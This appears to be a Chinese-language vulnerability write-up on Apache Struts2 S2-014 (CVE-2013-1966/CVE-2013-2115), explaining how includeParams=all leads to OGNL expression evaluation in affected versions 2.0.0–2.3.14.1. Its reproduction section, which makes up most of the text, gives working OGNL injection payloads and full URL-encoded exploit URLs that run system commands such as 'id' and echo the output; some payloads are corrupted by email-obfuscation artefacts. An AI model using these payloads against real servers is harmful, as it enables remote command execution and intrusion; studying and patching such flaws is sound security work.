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    ( CVE-2013-1966)(CVE-2013-2115)S2-014.md
    2.21 KB / 2021-07-15 19:48:27
        ( CVE-2013-1966)(CVE-2013-2115)S2-014
    =========================================
    
    一、漏洞简介
    ------------
    
    Struts2 标签中 `和` 都包含一个 includeParams 属性,其值可设置为
    none,get 或 all,参考官方其对应意义如下:
    
    1.  none - 链接不包含请求的任意参数值(默认)
    
    2.  get - 链接只包含 GET 请求中的参数和其值
    
    3.  all - 链接包含 GET 和 POST 所有参数和其值
    
    \`\`用来显示一个超链接,当`includeParams=all`的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
    
    二、漏洞影响
    ------------
    
    2.0.0 - 2.3.14.1
    
    三、复现过程
    ------------
    
    ### 任意命令执行POC:
    
        ${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
    
        // 或
    
        ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
    
    如:`http://www.0-sec.org:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D`
    
    0ZGLLQ\`7TVP\_D\_0B3E8XDL.png
    
    S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了
    \${ognl\_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。
    
        http://www.0-sec.org:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
    
    
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